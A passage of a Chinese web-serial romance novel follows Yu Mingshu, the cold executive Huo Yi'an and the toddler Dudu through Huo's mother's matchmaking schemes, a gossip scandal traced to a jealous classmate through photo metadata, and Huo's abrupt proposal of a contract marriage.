此前夫妻俩认定霍懿安这一生根本不可能有伴侣,现在突然冒出了一个一再产生纠葛的郁明殊,哪怕霍懿安一再表示两人没关系,但能和霍懿安有这种程度的交集,已经算得上天赐良缘,但凡换个人早被霍懿安轰出三千里了。 这次不把握住机会,还能有下次吗? 霍云轻可不敢赌,一开始就想好了,哪怕郁明殊受郁家夫妻耳濡目染,本性不尽人意,她也得把人留下,最多是婚前协议多签几本。 随着关注网络动向,逐步加深对郁明殊的了解,霍云轻此前的想法大幅逆转,不仅对郁明殊心疼不已,甚至再看亲儿子反倒不爽起来。 今天见到本人,发现郁明殊不仅生得极好,还眸光透亮,气质纯粹,又温软懂事谦恭有礼,一看就是个再好不过的孩子。 单从人品素质来看,完全是她那堪比人机的气人儿子不配。 更别说霍懿安还不知从哪里找了个既像他又像郁明殊的崽! 霍懿安还未到而立之年,其实远未急着敲定继承人的程度,但不同于亲情稳固她又说一不二的霍家,珀西家族动荡频出,早些选定继承人主要也是为了少些烦扰。 再者才是霍懿安脑神经异常,需要更为长久的磨合相处才能建立稳定的亲情链接,趁他们夫妻还在的时候,自然要帮儿子把养父子关系落实妥当。 而霍懿安肯定没耐心培养继承人,这家伙小时候都嫌教他的老师跟不上他的思路,更别说为师为父教育下一代了,培养继承人的事自然也要由他们夫妻完成。 原以为还需要花上几年时间一点点筛选寻找……这下好了,不仅儿媳妇有了,一直让她忧心的未来继承人也有了! 霍云轻都忍不住羡慕起儿子的好命来。 她在心里已经迅速做好安排,先让两人赶紧办理结婚手续,然后再以法定伴侣名义领养她的宝贝小孙孙。 换个孩子她可能还要犹豫,但嘟嘟不仅像极了两人,还可爱漂亮惹人疼,实在是长进了她心缝里! 而缘分这种事最为玄妙,她一看嘟嘟就觉得孩子跟她家有缘,仿佛上辈子缘分未尽这辈子也注定会是她家的孩子! 霍云轻只是想到这里,人就先美起来了,脑中已经浮现起无数她和郁明殊带着嘟嘟到处购物游玩的美好画面…… “不可能!”霍懿安脸色比音色更为冷沉,直接击碎了亲妈的最终幻想。 母子俩虽然脑回路截然不同,无法互相理解,却都在客观层面较为了解对方。 霍懿安无需询问,只看母亲红光满面搂着郁明殊和崽子笑得贼眉鼠眼一脸怪样,他就大概猜到母亲生出了哪些离谱想法,再结合她此前对郁明殊的保证! 即便情况稍显失控,让母亲提前发现爸崽存在,但霍懿安仍旧保有崽子真实身世,情况还没坏到需要任由母亲施为的程度。 和郁明殊结婚,更是绝不可能! 霍懿安直接搬出法律条款:“婚姻自主权是每一个公民享有的核心人格权,我和郁明殊作为两个独立的个体,都有权决定是否不与他人建立婚姻关系。” “不受任何组织、个人的非法干涉和强制,哪怕您是我的母亲也不行。” 然而他刚把拒绝的话说出口,不仅迎来母亲强烈不满的审视,还有郁明殊猛松一口气的配合颔首。 郁明殊按他心意,没有表现出一丝纠缠的想法,霍懿安却莫名胸闷起来…… 郁明殊果然从一开始就没想过跟他结婚,这很好,呵! 霍懿安脑中左右互搏,脸黑面沉之际,霍云轻适时逮住一旁的张秘书:“现在是不是全网怒骂小殊朝三暮四见异思迁,前有欧洋一掷千金,现又和糟糕至极的垃圾坏男人产生纠缠?” 张秘书想说倒是没有全网怒骂的程度。 毕竟郁明殊近期高频被卷到波峰浪尖上,而每一次又都能给出合理真相快速反转,很难不让人联想到是糟糕透顶的垃圾前公司贼心不死,才会一直搞事陷害给郁明殊泼脏水。 是以现在讨论归讨论,并没有像一开始那般立马产生强烈的抵制情绪,更愿意多给郁明殊一些时间回应。 但张秘书听霍云轻的口气,以及针对霍懿安坏男人骂出的那一长串的多层定语,他实在听得极为顺耳,是真的很想原地换老板,从此成为霍女士的兵。 张秘书刚生出些许迟疑,霍云轻就像获得准确答复般对着儿子开呛:“你知道小殊这些年被养父母害成什么样吗?好不容易才洗清过去的污水!你不会不知道正面名声对他的日后发展极为重要吧?而你却在这种时候故意跑到小殊学校现眼,害他被拍被误会还不愿意配合……” 霍云轻虽然从小到大身体都弱一些,但骂起儿子来中气十足,并且每一句都没说错,饶是霍懿安铁青着脸,也没能说出一句反驳的话,霍云轻更是越说越来劲。 还是郁明殊先一步站了出来:“霍先生只是出于好意顺路去接我和嘟嘟,被偷拍的责任并不在他。” 随后他又放大偷拍照,结合这次过于明显的熟悉爆料手法,分析起拍摄角度。 这次不仅是私人行程,还属于郁明殊签约后的临时起意,明确新东家会提供住宿,他才想着趁还没开学提前将剩余的行李都打包带走。 并且因为被多次跟拍过,避免再生波澜他行动间十分小心,而远远跟在他身后的保镖车也会格外注意这些,现在他们爸崽再次被狗仔跟拍的概率并不高。 再者说霍懿安会顺路来接他们本就十分突然,郁明殊自己都没想到,皇世娱乐能透过重重阻隔拍个正着?那运气也太好了些。 不过这些还不是主要的,郁明殊手指点向屏幕上放大的照片:“这几张不像是相机拍的,而这个拍摄视角比较低,当时拍摄者应该是藏在道旁斜坡的草丛里。” 天气好的时候,一些住在附近的学生喜欢拿本书躺斜坡上晒太阳,或者在这边晒被子,一直也没听说谁被虫子咬过,算是个比较安全的草坡。 但草坡看着坡度有些陡,并且因地处偏僻学校很少维护显得杂草丛生,不熟悉这边的人轻易不会去钻。 而郁明殊大一的时候经常跟陆小南在草坡上背词搭戏。 陆小南演技好,又签了一个厉害的金牌经纪人,为他拿到了不少好资源。 而郁明殊受公司限制,哪怕是糟糕的资源也沾不到一点,所以他一直很珍惜陪陆小南对词搭戏的机会。 他对这个草坡记忆深刻,对草坡上言笑晏晏的陆小南同样记忆深刻,而他向来敏感多思,很难不联想起他被拍前,被崽刺激得匆匆跑走的陆小南。 虽然郁明殊觉得他们曾经算得上是还不错的朋友,但陆小南看他的眼神的确有点不对劲,而他曾经因类似的情况失去过他以为的最好的朋友…… 思及此,郁明殊的情绪难免低落,好在怀中暖融融的崽始终让他感到温暖安全,他还是有条不紊地将这种可能说了出来: “……所以我不能确定……但有可能这次不是皇世娱乐,是有人仿照皇世娱乐的爆料套路。” “如果我没猜错的话,那人应该不会曝出霍先生,只是想为难一下我出口气罢了。” 陆小南从小进圈早早接触名利场,能有今日的光明前途,不仅是运气,他也足够善于审时度势,没弄清霍懿安身份前,他不会轻易将对方牵扯其中。 郁明殊认为对方是故意没拍到霍懿安的脸,如果是陆小南做的就更为合理了。 这样一来基本不会有后续纠缠,那么只要他站出来澄清一下,照实说是上下级关系或者崽子的亲戚顺路接人即可。 只是这几张不痛不痒的照片,远达不到实锤的效果,刚好也可以借机明确一下他现在单身。 然而不等郁明殊完整说完,霍懿安先一步发问:“‘那人’是谁?为什么要曝光这种照片为难你?” 语气之冷,足以冰封千里,脸色之臭,比起被崽熏哕的时候也差不多。 霍云轻见状立即将关切询问郁明殊的话又咽了回去,还是决定把表现的机会让给儿子。 目前看来她儿子和预想中一样完全不会哄人,只会黑脸质问,哪怕是出于关心,霍云轻很怕自己一开口,就轻松把儿子碾进泥里,将霍懿安本就不怎么样的表现凸显得更差劲了。 郁明殊:“我只是有点怀疑……” 霍懿安眉头紧蹙,长眸微眯脸色更凶了:“所以呢,你怀疑的是谁?是你哪个熟悉草坡的同学?” 郁明殊倒是早已习惯了霍懿安的糟糕脸色和语气,面露迟疑是因他并不能百分百确定就是陆小南,只是凭着多年来的生活经验和敏感直觉,这种情况实在不适合明确说出陆小南的名字。 崽子安静听了半晌,小脑花一直高速旋转着,忽地他吸了吸泛红的小鼻子突然开口:“小南嘘嘘不对劲!” 崽子原本只能想到这个让他不舒服的小南叔叔,但说的时候他一直盯着爸爸的表情,爸爸越惊讶他越确定,唰的攥紧小拳头看向一旁的霍懿安:“奏系他!他一直看拔拔!眼睛hin怪hin怪!” 郁明殊没法否认陆小南的举止确实奇怪,只能匆忙强调:“我没有明确证据,只是怀疑。” 霍懿安却直接瞪向对面的秘书,张秘书闻弦音知雅意,立即点头示意自己明白该怎么做了。 拍摄者的身份被基本确认,反击起来更游刃有余。 而且按郁明殊的说法,陆小南只敢假借皇世娱乐当幌子放出爆料,鬼祟又胆小实在成不了什么气候。 霍云轻失望极了,她原本还以为可以借此机会拿着儿子的错处,逼他把儿媳妇娶进门呢……虽然不知道陆小南是谁,但她先在心里骂了一通废物。 但她没有丝毫气馁,一计不成再生一计,直接扯着莫名其妙被气成乌眼鸡的儿子进了书房。 霍云轻抱臂而立,气势十足地盯着儿子。 霍懿安顾不上去捋顺复杂心绪,先打起十二分警惕:难不成又被发现了什么端倪? 霍懿安虽然觉得崽子就是个现成的“马脚”到处乱露,心里并没有什么底气,但面上仍旧不动如山,面无表情回看亲妈。 霍云轻盯了三分钟无果,才失望开口:“我查到报警记录了,嘟嘟是你捡到的。” 霍懿安闻言立即暗松口气。 因撤销及时,警局那边根据他和崽子的长相,将他当成了一个迷途知返的国际友人,提前放弃了跨国丢崽行为,并没有留下什么要紧的证据。 他轻应了声:“嗯。” 霍云轻继续说道:“你肯定是不想和小殊结婚领养嘟嘟对吧?” 霍懿安正因郁明殊心烦不已,但在母亲面前自然不能表露分毫。 他不露痕迹深吸口气,一心想着快些了解母亲的无意义纠缠,男人有些不耐开口:“如果您只是要说这些,我想我还有更重要的事情要做。” 霍懿安说完就要站起身强行送客,结果霍云轻却难得配合,主动走到门边,在迈出门前若无其事宣布道:“行,你忙你的,我就是想告诉你一下,我和你爸打算领养嘟嘟。” “什么?”霍懿安没忍住额角嘴角一并抽搐:“你们、疯了吗!” 霍云轻就知道这小子虽然脑子想不明白,但心里明摆着就是想跟郁明殊一起养孩子,不然怎么会一反常态做这么多事! 见儿子终于失态了,她唇侧扬起了意味深长的弧度,继续乘胜追击:“你这孩子怎么说话呢?” “以后嘟嘟就是你弟弟了,你这个当哥哥的得做个好榜样,知道吗?” 作者有话要说: 正享受爸爸温柔安抚+轻哄的伤心崽:宝米有介种爹地!也补要介种哥哥!坏蛋勿cue!(撅嘴口亨 恭喜霍总喜得麟弟[合十]以后就不是独生子咯~[好的] 第47章 郁明殊给出的提示相当有用,张秘书也差点被陆小南误导,将这次的爆料帖也当成是皇世娱乐的手笔。 不过此前在霍懿安的授意下,张秘书给皇世娱乐找了不少事做,现在以黄东凯为首的皮条客们应是自顾不暇,按理来说也的确不该为这种不痛不痒的小事轻易出手。 而陆小南模仿爆料的手段只是看着像模像样,实则漏洞百出。 只不过是认准了皇世娱乐既不会站出来承认之前都是他们所为,更不会否认最近一次爆料不是他们所为,陆小南才大着胆子拉大旗作虎皮,想藏在皇世娱乐背后阴郁明殊一把。 无需寻求专业人士,张秘书将八卦论坛上的照片下载下来,点开照片信息就能看到拍摄机型,正是前两天才发布的最新款水果机。 当时陆小南还用这款正处于预购阶段,且还是目前水果机史上最贵的机型发过一条微博:【不爱整理照片的人有救了![打call]】 微博自带的型号显示明确其购入的是Pro Max版本,微博内容又点明了他买的是果粉们期盼已久的全新超大内存版本,而发博时间远早于常规流程购得手机的时间,表明他是通过特殊通道提前获得的新机。 陆小南童星出道,这些年来也算稳扎稳打步步提升,虽然一直被惋惜不如小时候精致好看,但作为民众们看着长大的实力派青年演员,这些年的路人缘一直不错。 是以这种炫耀手机的行为也没有引来半分反感,再加上近些年水果机品牌方经常将新品交给明星推广,陆小南不是第一个提前拿到新机的明星,只不过很少有人像他这般高调就是了。 因路人缘好,做什么都有粉丝维护,当时绝大部分评论都觉得他活人感十足,有着这个年龄正常大男孩的调皮可爱。 以至于微博发出不久,陆小南就作为水果机发烧友短暂上了一阵热搜。 不得不说陆小南也是真寸,但凡他没一到手就立即发博炫耀,张秘书都得再多费些心思才能把他挖出来。 很快,八卦论坛又新添一吃瓜帖——《卧槽?隔壁爆料帖竟是陆小南发的???》 一点进去,主楼先是熟练滑跪:【不好意思标题党了,我那句是问句!我不确定是不是陆小南哈(南粉请放过我,给您磕头了!!!)】 然后楼主就以清澈大学生独有的激动吃瓜口吻,快速描述了一下自己不久前点进论坛,看到了一个爆料“爆料帖”的帖子,一点进去就通知已被删除,所以楼主只看到了个标题。 但他按照标题说法将隔壁爆料帖里的照片下载到手机里随便一查看,显示出拍摄机型的确就是最新款顶配水果机! 所有人都知道,水果机九月初线上发布结束后会先开启预购环节,普通人最快也要一周后才能拿到。 现在能用上最新款的,只有那些名人明星,而陆小南恰好前两天刚秀过自己的新手机。 【卧槽!还真是!机型都是promax!】 【有病吧,明星里拿到新手机的多了去了,怎么就专咬上我们囝仔?冷知识,陆小南还在横市拍奇幻巨作《傩师》,没办法瞬移回A市搞什么鬼偷拍!蛇精病!】 【还真是造谣一张嘴辟谣跑断腿,楼主等着接法院传票吧!】 【一个热知识,陆小南和郁明殊是同寝室室友[微笑]】 【陆小南粉丝先别发疯,后面还有得你们疯呢~我去看了下照片的拍摄信息,不仅有机型,还有拍摄时间和地点,分别是下午“13:27”和“C大”~是不是陆小南提前离组返校就知道呀[wink]~】 【……我的剧组牛马朋友说陆小南今早的飞机()】 太多巧合堆一块,陆小南就算路人缘再强大都没用,吃瓜群众很快将事情串到一块: 【所以是陆小南提前返校刚好撞上郁明殊回寝,然后陆小南偷拍爆料郁明殊?为啥啊?陆小南和郁明殊这是有什么仇啊?】 【年龄相近,同样是科班出身,当年还是同时期的童星,见郁明殊有起势就坐不住了呗~】 【室友关系差不是很正常吗?low男嫉妒心强不是很正常吗?[捂嘴]】 【没必要,真没必要,陆小南与其防爆郁明殊,不如研究研究怎么再长高五公分,不然一米七不到真的是硬伤啊[惊讶]】 【陆小南还不到一米七??】 【官方数据175,就这么说吧,陆小南要是超过一米七我回头就把我家楼下的减速带吃了!】 【楼上不许破坏公物!(赶紧关私信吧!一会儿某不是东西也找不到北的方向粉就来喷你了,问就是孩子还小还能长[笑哭]】 【这是能说的吗?一直觉得某童星又丑又矮,演技确实在一众水货同期里不错,但长得真辣眼啊,长成这样演普通人我ok但他总演偶像剧!要命啊!】 【说起来陆小南的资源也的确好得有点过分了,就算他演技好点,但长成这样也不该偶像剧一部接着一部拍吧?】 爆料帖发出不久,就迎来一百八十度大转弯,即便郁明殊还没站出来说明他和车上男人的关系,吃瓜群众关注的重点也早已歪到了陆小南身上。 实际上,陆小南也不想演偶像剧,但架不住演偶像剧圈钱圈粉速度最快。 而他想演的高逼格大制作主要角色又太难撕,演小配角他又不甘心,就只能先这么不上不下地耽误着,不过他已经打算年龄一到就和经纪人女友徐安雅求婚。 徐安雅比他大十三岁,徐母和舅舅曾联手打造出港城最大的娱乐帝国。 不过徐安雅从小叛逆,与母亲关系不佳,而徐安雅现在的金牌经纪人地位都是她自己在内娱闯荡出来的。 但徐安雅是独女,已故的舅舅又没有其他后代,港城的资源早晚会全部落入徐安雅手中,可以说不论个人能力还是背后家世助力,都是现在的陆小南所急需的。 为了前途他费尽心思早早签给徐安雅,又苦苦追了对方三年,当然不会就这么让自己的名声被郁明殊影响了。 所以陆小南很快让工作室发布严正声明,明确否认拍摄者身份,网络传言全都是无稽之谈,他将保留追责权云云。 优先拿到最新水果机的不止他一人,仅凭这一点就永远没法确定到底是谁拍的,无需拿出实际证据自证,只要放出声明自有粉丝帮他洗地。 陆小南虽然有点后悔自己不该多此一举,但心里仍旧底气十足,尤其是跟女友报备后,徐安雅让他安心补觉,压根不在乎是否是他拍摄的。 近一年徐母身体每况愈下,徐安雅忙于两地奔波注定不会为这种小事多费功夫,陆小南自认天衣无缝,没人会发现他对郁明殊抱有的旖旎心思,还真就按徐安雅说的那般回酒店安心补觉了。 没曾想,刚睡了三个小时,就被突然闪现的女友一巴掌扇醒。 徐安雅手里拿着他留在剧组的旧手机,边翻边冷笑:“为了上位‘忍着恶心陪老女人睡觉’陆小南你这死gay还真够忍辱负重的!” 陆小南先懵后惊,很快意识到徐安雅是翻到了他和床伴的聊天记录。 “雅雅姐我没有!” 证据确凿,徐安雅反手又是一巴掌。 这次她直接拿着旧手机往他脸上砸,将陆小南砸得鼻血飞溅。 同一时间,搂崽小憩片刻的郁明殊也看到了网上的最新进展。 之前便有小网红爆料陆小南和他的男性朋友睡过,但因该网红名气不高,也没拿出什么实锤。 而陆小南不仅风评极佳,还一向注重塑造自己的直男人设,这种言论就被当成无良网红蹭热度揭过去了。 但张秘书却是鉴gay雷达拉满,再加上根据爸崽所言这个陆小南实在举止怪异,而爆料陆小南的男网红又恰好长得有三分像郁明殊。 张秘书用了点老板的钞能力,不仅顺利获知网红口中的“朋友”就是他自己,还知道陆小南正在和女经纪人秘密交往。 消息一出,别说网友了,郁明殊都诧异不已。 虽然被朋友背刺的事发生再多次也难以“习惯”,但郁明殊一早便积攒下充足的经验,让他不会再结交什么知心好友,哪怕表面看起来再是不错他都不会深交。 是以陆小南偷拍泼脏水的行为,对他来说只是有点意外也有点失望,更多的还是麻木了。 这些人和事对他来说,都远没有怀中紧抓他领口睡着的崽子重要。 西奥多一回房就变得蔫哒哒,郁明殊原本想哄崽说出原因,但小家伙揉着眼睛说自己困了,郁明殊就没舍得折腾孩子,简单洗漱一番就搂着小家伙躺下了。 朝夕相处这么多天,郁明殊自然能感觉到崽的不对劲。 不仅是情绪上的变化,原本这崽这几天已经不再紧抓他领口入睡,今天一下又变了回去,现在完全像个小八爪鱼似的紧紧扒在他身上。 一双小白爪紧攥他领口,一双小胖脚也以别扭的姿势勾在他两侧腰线上,虽然没像最初那般在他身上绑绳子,但也足以看得出很没有安全感。 心里惦记着崽子的异常,郁明殊闭眼假寐了十来分钟就睁开眼认真复盘起来,想了又想还是觉得问题就出在崽被霍懿安带进浴室谈话的那一段。 比起那些和他有关的八卦消息,现在的郁明殊更想知道霍懿安当时跟崽说了什么,为什么小家伙会突然出手抓伤霍懿安,还大哭不止? 大概是早上醒的早,上午又接连陪他跑了两个地方,回来又对着霍懿安大哭一场,小家伙的体能被大幅消耗,以至于睡了这么久还没有醒来的迹象。 洋娃娃似的浓密长睫紧紧闭着,眼尾还残留着哭红的痕迹,精致挺翘的小鼻尖微微发红,委屈的小嘴在睡梦中仍旧紧抿着。 郁明殊不知怎么做才能让崽子放松下来,就一遍遍轻抚崽子温软的脊背,小心翼翼轻吻崽子的发顶。 同时,温情脉脉的视线一遍遍描摹着崽子并不安稳的睡颜,郁明殊其实还想询问小家伙到底是谁?为什么霍云轻女士并不清楚崽的存在? 是霍女士不知情,还是崽子本就不是他和霍懿安之间关联的血亲崽子? 郁明殊突然觉得之前太过于想当然,也后悔自己不该逃避,他应该问清楚些…… 刚想到这里,怀中崽突然抽动了一下,紧接着小眉头皱紧,先是嘴角下撇,片刻后小嘴一咧,透出两声细弱呜咽。 郁明殊搂紧崽子轻轻拍抚,却起了反效果,崽子哭得更凶了,委屈的金豆豆夺眶而出,没一会儿便把自己哭醒了。 透过朦胧泪眼看到满脸急切的爸爸,崽子的委屈顿时达到了顶峰:“拔拔呜呜——!” “拔拔拔拔!!” “……爸爸在呢,嘟嘟是做噩梦了吗?”郁明殊被崽子哭得鼻酸,一时间也顾不得捋清混乱关系,直接以爸自居了。 此前他大多数时候都是顺着崽子的话,却从没有承认自己是“爸爸”,虽然郁明殊无比希望他与崽子之间存在无法斩断的血缘关系,但这些奢望一直被他放在心底,这会儿完全是一时失言。 郁明殊脱口而出后只剩心虚和自我唾弃,没曾想,怀中崽的眼睛却一下就亮了。 崽子立即攥着爸爸的衣领,抻长小脖子凑得更近追问:“拔拔!系嘟嘟嘟拔拔!对不对拔拔?!” 郁明殊看得见崽子眼底的渴望,压下心酸笑着问道:“如果我说不是,嘟嘟会难过吗?” 话音未落,崽子的眼尾就瞬间冒出两颗委屈的小珍珠。 郁明殊立即抱住崽子哄道:“嘟嘟不哭,爸、爸爸最爱嘟嘟了对不对?” 崽子得到想要的答案,反倒哭得更大声了:“呜呜拔拔!拔拔拔拔……” 他再也不要相信大坏蛋说的话了,这就是他的爸爸,爸爸承认了! 西奥多最爱爸爸了,怎么会认错呢?绝不!这就是他的爸爸!! 爹地都说过,他的眼睛鼻子耳朵都超厉害,他绝对不会认错,既然爹地拒绝承认他也不要认爹地了,但爸爸愿意认他!这就是他的爸爸!!! 西奥多虽然敏感但他从不内耗,当时就出手把霍懿安挠成了花脸,却还是因霍懿安说出的残酷言论难得萎靡了一阵,不过一觉醒来,崽子就抱着爸爸把心里的委屈全都哭了出来。 崽子哭成这样,还一口咬定他是爸爸,郁明殊根本没法问出口,他只能将想法先压回心底,想着晚些时间去询问霍懿安。 但崽子醒来就又回到了最初寸步不离的模式,郁明殊根本没法单独行动。 再加上一直到晚餐时间,霍懿安母子都没露面,郁明殊只好转为线上询问,但以往经常秒回的霍懿安,这次却半天没有反应。 崽子虽然一向睡眠极佳,但下午睡了两个多小时,郁明殊怕崽失眠,晚饭消化得差不多了,就带崽泡了个澡,期间还不嫌幼稚认真陪崽玩小鸭子漂流赛。 崽子开心极了,洗完澡被裹成俄罗斯套娃吹头发的时候,还一个劲往郁明殊怀里钻:“以后宝天天嘟要陪拔拔泡澡!” 郁明殊被倒反天罡的崽子成功逗笑,一边给崽吹头,一边无奈笑答:“谢谢嘟嘟了,真是辛苦你啦!~” 崽子蛹动了片刻,费劲将右手从浴巾的包裹中挣脱出来,一边装模作样地扬起小下巴,一边对着爸爸晃了晃白软的食指:“小意嘻~” 说完爸崽二人对视一瞬,郁明殊很快抱崽笑倒进被子里:“嘟嘟怎么这么可爱呀?” 西奥多也笑得开心极了,还不忘向爸爸投放糖衣炮弹:“因为宝像拔拔呀~” 伴随着阵阵欢声笑语,郁明殊帮崽吹干小金毛。 躺进被子里时,崽子还相当精神,一双湛蓝的大眼睛神采奕奕。 郁明殊以为这崽今晚注定要晚睡了,还提前准备好了一沓子睡前故事。 没曾想,小家伙将肉脸蛋往他胸口一贴,奶声奶气地道了个晚安,眼睛一闭,不到三分钟呼吸就变得平稳起来。 郁明殊感受着胸前传来的温热呼吸,心脏再一次为崽融化,也再一次羡慕起崽子真正的爸爸…… 思绪稍转,就被枕侧手机的震动打断。 对于郁明殊几小时前关于崽子身世的委婉探寻,霍懿安终于发来回复:【过来面谈。】 郁明殊:“……” 虽然很想知道崽子和霍懿安之间的关系,但他现在一点都不想离开怀中香香软软的宝宝。 为什么不能直接在网上说? 郁明殊皱起眉,嘴角微瘪,若是霍懿安在现场,一定会觉得爸崽不仅长得像,流露不满时的神态也很像。 ……要不就当他已经睡着了,明天再回复? 嗯,没错,就这样吧,嘟嘟今天被霍懿安吓到了,很缺乏安全感,他现在起身离开也许会把崽扰醒。 至于他对霍女士不识崽的疑思,也不差这一晚,反正霍懿安也拖了几个小时才回的…… 这个想法刚冒出来,卧室门板便被敲响。 “笃笃”两声,短促轻浅,却差点让郁明殊惊得跳起来,他立即秒回—— 【等一下!】 【嘟嘟睡着了,我马上就出来!】 郁明殊敛声屏气将崽从怀里轻轻剥离,又轻手轻脚下床,如履薄冰般走到了门口小心翼翼拧开门把手,生怕吵醒今日格外脆弱的可怜崽儿。 结果门刚开一道缝,门外的霍懿安就黑脸催问:“这就是你的马上?” 郁明殊简直要被这男人吓死,他下意识伸手捂住男人的嘴。 虽然成功让霍懿安闭嘴,但掌心传来的湿热触感却让郁明殊睁大双眸。 他立即收回了手,但周遭的空气还是瞬间凝滞。 早知道会演变成如此心惊肉跳的局面,郁明殊一定会在接到消息的第一时间同意赴约! 此刻,郁明殊手心发烫,心虚垂眸,霍懿安长眸微眯,目光如炬。 虽然郁明殊早就对各种凝视习以为常,完全做到视若无睹,但霍懿安的存在感实在太强,盯人的视线也太过灼热,郁明殊感觉自己再被男人盯下去,他也会扛不住脸红心跳。 清了清嗓子,郁明殊尽可能弯出一抹从容淡笑:“霍先生您不是要面谈?” “嗯。” 霍懿安淡淡应声,视线依旧一瞬不瞬地凝在郁明殊脸上。 郁明殊深吸口气,很想说都急得找上门倒是说话啊!嗯你个大头鬼! 霍懿安还真说话了:“你脸红什么?” 郁明殊:“……”还不如不说。 郁明殊经历过假笑质疑,对霍懿安不说了解,但也有了大概认知。 但凡他要是不承认,霍懿安都会掏出手机给他拍个证据确凿,索性直接点头:“起的太急,又怕吵醒嘟嘟……他下午做噩梦哭了很久,看起来很没安全感……” 郁明殊一开始只是想转移话题,但想起下午在他怀里抽噎不止的可怜崽崽,他就心疼地直皱眉。 霍懿安记忆力好得很,虽然脑回路异于常人,但也能很快联想到崽子做噩梦和哭泣的真正原因。 不过他并不担心,也告诉郁明殊无需担心。 郁明殊不想说教,但霍懿安表现得太冷淡了,不仅没有一点反思,还企图用一个轻飘飘的“无需担心”揭过? 郁明殊:“您在浴室对嘟嘟说什么了?” 霍懿安:“我们结婚领养他就没问题。” 两道声音同时响起,郁明殊以为自己听错了,本就圆润饱满的桃花眼睁得老大。 霍懿安颇为耐心地重复道:“我说我们结婚,然后收养西奥多,他就不会再有问题。” “什么???!” “习么???!!!” 这一次依旧是两道声音同时响起,口齿不清的小奶音甚至更加响亮。 郁明殊于震惊中回头,这才发现不知何时门缝里钻出了一个金灿灿毛茸茸的小脑袋。 作者有话要说: 西奥多挺胸:没戳,系嘟嘟![让我康康] 第48章 霍懿安说得轻描淡写,爸崽二人却一个比一个吃惊,两双桃花眼睁得圆溜溜。 霍懿安的视线从郁明殊脸上转移到崽子脸上,越发觉得除了颜色略有出入,此刻的一大一小简直一模一样。 但他认定崽子是来自与他毫无干系的平行世界,亦是与现在的郁明殊毫无干系的平行世界,爸崽二人再是相似也只是相似罢了,哪怕血缘可以鉴定,但他和郁明殊并不是这孩子的真正双亲…… 这本是他无比确定并坚信的事实,根本无需重复思忖,可他还是每每看到从模样到神态都极为酷似,并一见如故立即便蜜里调油的爸崽时……总是会一次次说不上质疑还是匪夷所思地反复想起。 甚至此刻,他脑中响起了母亲毫无逻辑的话——一看便觉得这孩子跟他们家有缘! 一定是上辈子缘分未尽,这孩子才会突然出现在他的面前。 虽然一听便荒诞不经,但母亲的确提醒了他一点,这孩子为什么会突然出现在他的房间、他的床上?单纯只是一次平行世界间的突破性干扰吗? “嘟嘟你不是睡觉了吗?”郁明殊顾不上对婚讯震惊,先俯身抱住奔向自己的小胖崽。 “宝想拔拔啦~” 崽子有点心虚但不多,笑着搂住爸爸的脖子,等被郁明殊抱起,不可避免对上某个庞然巨坏蛋。 喜滋滋的小模样立即一肃,紧接着像是嫌弃霍懿安碍眼似的,飞快转回郁明殊方向,又立马喜笑颜开起来。 夹紧的小奶音甜度惊人:“想拔拔就,突然醒啦~” 郁明殊日常被小家伙哄得心心融化,笑着和崽贴贴额头,又将崽拥得紧些:“嘟嘟冷不冷?” 不知是酒店统一提供的,还是张秘书特别准备的,爸崽二人此刻都穿着同款真丝睡衣。 透气又亲肤,就是完全不保暖,按理说夏天穿什么都不会冷,但套房温度还是偏清凉了些,是以郁明殊在门口站了会儿,身上还是能感觉到一些凉意的。 崽子头摇到一半,伸出白嫩的小手摸向爸爸的肩头:“拔拔冷!” 唰的,小脑袋甩向他讨厌的亲爹,皱起小眉头重重强调:“拔拔冷呐!” 欺负他这个小崽崽也就算了,怎么可以欺负爸爸!太坏了!大坏蛋果然不是他爹地! 霍懿安没能领会崽子层次丰富的敌视小表情,思绪一直围绕崽子的身世和他们三人之间堪比量子纠缠的混乱关系。 突然被崽子用眼睛骂了,他惯性般就要反向质疑回去,伸手直接搭上郁明殊的另一侧肩头。 郁明殊其实不冷的,但也不知是他体温偏低,还是霍懿安天生血热,大掌覆上跟烙铁似的,细碎的热快速在神经突触间传导,“烫”得郁明殊浑身一激灵,下意识将霍懿安烫人的大掌甩开了。 这其实有些不礼貌了,毕竟只是搭个肩膀,他这样反应强烈,反倒像是霍懿安做了什么不好的事一样。 郁明殊只好转移注意力道:“还真有点冷,我们进去说吧。” 说着,人就已经抱着崽抵开房门走了进去。 霍懿安有些莫名地皱起眉,静默对着自己的手掌看了片刻才抬步跟上。 等霍懿安推门而入的时候,郁明殊已经抱着黏糊崽子坐到床上搭上被子。 爸崽二人此刻穿着温柔的燕麦色真丝睡衣,又顶着同款精致眉眼,坐在套房主卧的床上,围着质地考究的高端床品……哪怕是霍懿安,也突然生出一种步入广告拍摄现场之感。 不同的是虚假广告从不会让他生出一丝向往,但真实场景看起来的确更为顺眼,霍懿安视线紧凝在郁明殊的脸上,不由得想,应是床品睡衣都是张秘书按他口味挑选的缘故。 再者就是误会解除,相处时间不断延长,让他将这张原本极为烦躁的脸看顺眼了,甚至觉得郁明殊长得还挺符合他审美的。 对比西奥多和记忆中五岁的郁明殊,霍懿安不难想到西奥多日后的模样。 不得不说,虽然突然冒出个孩子令人头疼,但要是这个有着他血缘的孩子,日后长成郁明殊现在的模样,他对此没有任何排斥。 不过细看的话,比起嘴巴太过肉嘟嘟的胖崽,郁明殊的唇生得更加精致柔美,像画上去的似的,也一如他整个人一般都是纤侬合度恰到好处。 霍懿安虽依旧面无表情,却不自觉盯着人品味起来,直到那张令他极为满意的唇翕动:“抱歉,我不能和您结婚。” 霍懿安如梦初醒,这才将视线移回那双灵动的眼:“嗯?” “……你不能结婚?”霍懿安思绪一转,“你那八字不能结婚?” 郁明殊:“……”他好像说的是“不能和您结婚”,霍懿安怎么这么丝滑就把自己摘出去了? “我没那么迷信……”郁明殊只好继续解释。 霍懿安面无表情扯了扯左侧唇角,意味深长地呵了一声。 不过他很快笑不出来了,因为郁明殊很快又斩钉截铁地重复了一遍,还重点强调了“您”。 霍懿安始料未及,更令他愕然的是他才意识到郁明殊也有拒绝的可能,而他之前完全没有考虑到这一点。 郁明殊该不会是……想当他叔叔吧?! 霍懿安快速捋了一遍,确认母亲与郁明殊的短暂接触中根本来不及说这些,所以郁明殊只是纯粹不想跟他结婚…… 霍懿安的轻呵戛然而止,静默了片刻才在头晕胸闷中憋出一句:“只是协议结婚。” 郁明殊理所当然颔首,格外清醒地说道:“我知道是假结婚的意思。” 霍懿安笑了,气笑了。 很好,连跟他假结婚都不想…… 